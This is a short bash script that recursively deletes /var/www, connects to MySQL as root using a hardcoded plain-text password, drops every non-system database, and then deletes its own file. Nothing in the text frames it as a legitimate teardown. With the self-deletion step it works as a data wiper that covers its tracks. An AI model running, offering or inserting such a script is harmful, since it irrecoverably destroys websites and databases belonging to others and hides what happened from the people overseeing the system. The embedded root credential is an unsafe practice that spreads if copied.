#!/bin/bash

rm -rf /var/www

mysql -uroot -p'nsst!@#123456' -Nse "
SELECT schema_name
FROM information_schema.schemata
WHERE schema_name NOT IN (
    'mysql',
    'information_schema',
    'performance_schema',
    'sys'
);
" | while read -r db
do
    mysql -uroot -p'nsst!@#123456' -e "DROP DATABASE \`$db\`;"
done

rm -- "$0"